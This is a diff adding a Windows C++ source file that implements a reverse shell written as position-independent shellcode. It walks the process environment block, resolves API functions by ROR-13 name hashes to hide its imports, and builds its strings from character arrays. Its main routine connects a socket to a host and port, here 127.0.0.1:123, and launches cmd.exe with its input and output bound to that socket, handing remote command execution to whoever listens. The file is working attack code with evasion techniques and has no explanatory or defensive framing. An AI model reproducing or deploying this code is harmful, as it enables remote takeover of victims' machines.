|
|
@@ -0,0 +1,164 @@ |
|
|
#include <WinSock2.h> // must preceed #include <windows.h> |
|
|
#include <WS2tcpip.h> |
|
|
#include <windows.h> |
|
|
#include <winnt.h> |
|
|
#include <winternl.h> |
|
|
#include <stddef.h> |
|
|
#include <stdio.h> |
|
|
|
|
|
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8)) |
|
|
|
|
|
_inline PEB *get_peb() { |
|
|
PEB *p; |
|
|
__asm { |
|
|
mov eax, fs:[30h] |
|
|
mov p, eax |
|
|
} |
|
|
return p; |
|
|
} |
|
|
|
|
|
#define ROR_SHIFT 13 |
|
|
|
|
|
constexpr DWORD ct_ror(DWORD n) { |
|
|
return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); |
|
|
} |
|
|
|
|
|
constexpr char ct_upper(const char c) { |
|
|
return (c >= 'a') ? (c - ('a' - 'A')) : c; |
|
|
} |
|
|
|
|
|
constexpr DWORD ct_hash(const char *str, DWORD sum = 0) { |
|
|
return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum; |
|
|
} |
|
|
|
|
|
DWORD rt_hash(const char *str) { |
|
|
DWORD h = 0; |
|
|
while (*str) { |
|
|
h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); // ROR h, 13 |
|
|
h += *str >= 'a' ? *str - ('a' - 'A') : *str; // convert the character to uppercase |
|
|
str++; |
|
|
} |
|
|
return h; |
|
|
} |
|
|
|
|
|
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) { |
|
|
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); |
|
|
return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset); |
|
|
} |
|
|
|
|
|
// NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to |
|
|
// ntdll.RtlExitUserThread. The solution is to follow the forwards manually. |
|
|
PVOID getProcAddrByHash(DWORD hash) { |
|
|
PEB *peb = get_peb(); |
|
|
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink; |
|
|
LIST_ENTRY *ptr = first; |
|
|
do { // for each module |
|
|
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr); |
|
|
ptr = ptr->Flink; |
|
|
|
|
|
BYTE *baseAddress = (BYTE *)dte->DllBase; |
|
|
if (!baseAddress) // invalid module(???) |
|
|
continue; |
|
|
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress; |
|
|
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew); |
|
|
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; |
|
|
if (!iedRVA) // Export Directory not present |
|
|
continue; |
|
|
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); |
|
|
char *moduleName = (char *)(baseAddress + ied->Name); |
|
|
DWORD moduleHash = rt_hash(moduleName); |
|
|
|
|
|
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th |
|
|
// element of both arrays refer to the same function. The first array specifies the name whereas |
|
|
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by |
|
|
// AddressOfFunctions to find the entry point of the function. |
|
|
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames); |
|
|
for (DWORD i = 0; i < ied->NumberOfNames; ++i) { |
|
|
char *functionName = (char *)(baseAddress + nameRVAs[i]); |
|
|
if (hash == moduleHash + rt_hash(functionName)) { |
|
|
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i]; |
|
|
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal]; |
|
|
return baseAddress + functionRVA; |
|
|
} |
|
|
} |
|
|
} while (ptr != first); |
|
|
|
|
|
return NULL; // address not found |
|
|
} |
|
|
|
|
|
#define DEFINE_FUNC_PTR(module, function) \ |
|
|
constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \ |
|
|
typedef decltype(function) type_##function; \ |
|
|
type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function) |
|
|
|
|
|
#define DEFINE_FWD_FUNC_PTR(module, real_func, function) \ |
|
|
constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \ |
|
|
typedef decltype(function) type_##function; \ |
|
|
type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function) |
|
|
|
|
|
int main() { |
|
|
// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but |
|
|
// they're not strictly needed. |
|
|
|
|
|
BYTE b0[] = {'w','s','2','_','3','2','.','d','l','l',0}; |
|
|
BYTE b1[] = {'1','2','7','.','0','.','0','.','1',0}; |
|
|
//long string for example |
|
|
BYTE b2[] = {'C',':','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','c','m','d','.','e','x','e',0}; |
|
|
|
|
|
char *sock_lib = (char *)&b0[0]; |
|
|
char *r_name = (char *)&b1[0]; |
|
|
int r_port = 123; |
|
|
char *cmd = (char *)&b2[0]; |
|
|
|
|
|
DEFINE_FUNC_PTR("kernel32.dll", LoadLibraryA); |
|
|
|
|
|
LoadLibraryA(sock_lib); |
|
|
|
|
|
DEFINE_FUNC_PTR("ws2_32.dll", WSAStartup); |
|
|
DEFINE_FUNC_PTR("ws2_32.dll", WSASocketA); |
|
|
DEFINE_FUNC_PTR("ws2_32.dll", WSAConnect); |
|
|
DEFINE_FUNC_PTR("kernel32.dll", CreateProcessA); |
|
|
DEFINE_FUNC_PTR("ws2_32.dll", inet_addr); |
|
|
DEFINE_FUNC_PTR("ws2_32.dll", getaddrinfo); |
|
|
DEFINE_FUNC_PTR("ws2_32.dll", getnameinfo); |
|
|
DEFINE_FWD_FUNC_PTR("ntdll.dll", "RtlExitUserThread", ExitThread); |
|
|
DEFINE_FUNC_PTR("kernel32.dll", WaitForSingleObject); |
|
|
|
|
|
WSADATA wsaData; |
|
|
|
|
|
if (WSAStartup(MAKEWORD(2, 2), &wsaData)) |
|
|
goto __end; // error |
|
|
SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); |
|
|
if (sock == INVALID_SOCKET) |
|
|
goto __end; |
|
|
|
|
|
addrinfo *result; |
|
|
if (getaddrinfo(r_name, NULL, NULL, &result)) |
|
|
goto __end; |
|
|
char ip_addr[16]; |
|
|
getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST); |
|
|
|
|
|
SOCKADDR_IN remoteAddr; |
|
|
remoteAddr.sin_family = AF_INET; |
|
|
remoteAddr.sin_port = htons(r_port); |
|
|
remoteAddr.sin_addr.s_addr = inet_addr(ip_addr); |
|
|
|
|
|
if (WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL)) |
|
|
goto __end; |
|
|
|
|
|
STARTUPINFOA sInfo; |
|
|
PROCESS_INFORMATION procInfo; |
|
|
SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset |
|
|
sInfo.cb = sizeof(sInfo); |
|
|
sInfo.dwFlags = STARTF_USESTDHANDLES; |
|
|
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock; |
|
|
CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); |
|
|
|
|
|
// Waits for the process to finish. |
|
|
WaitForSingleObject(procInfo.hProcess, INFINITE); |
|
|
|
|
|
__end: |
|
|
ExitThread(0); |
|
|
|
|
|
return 0; |
|
|
} |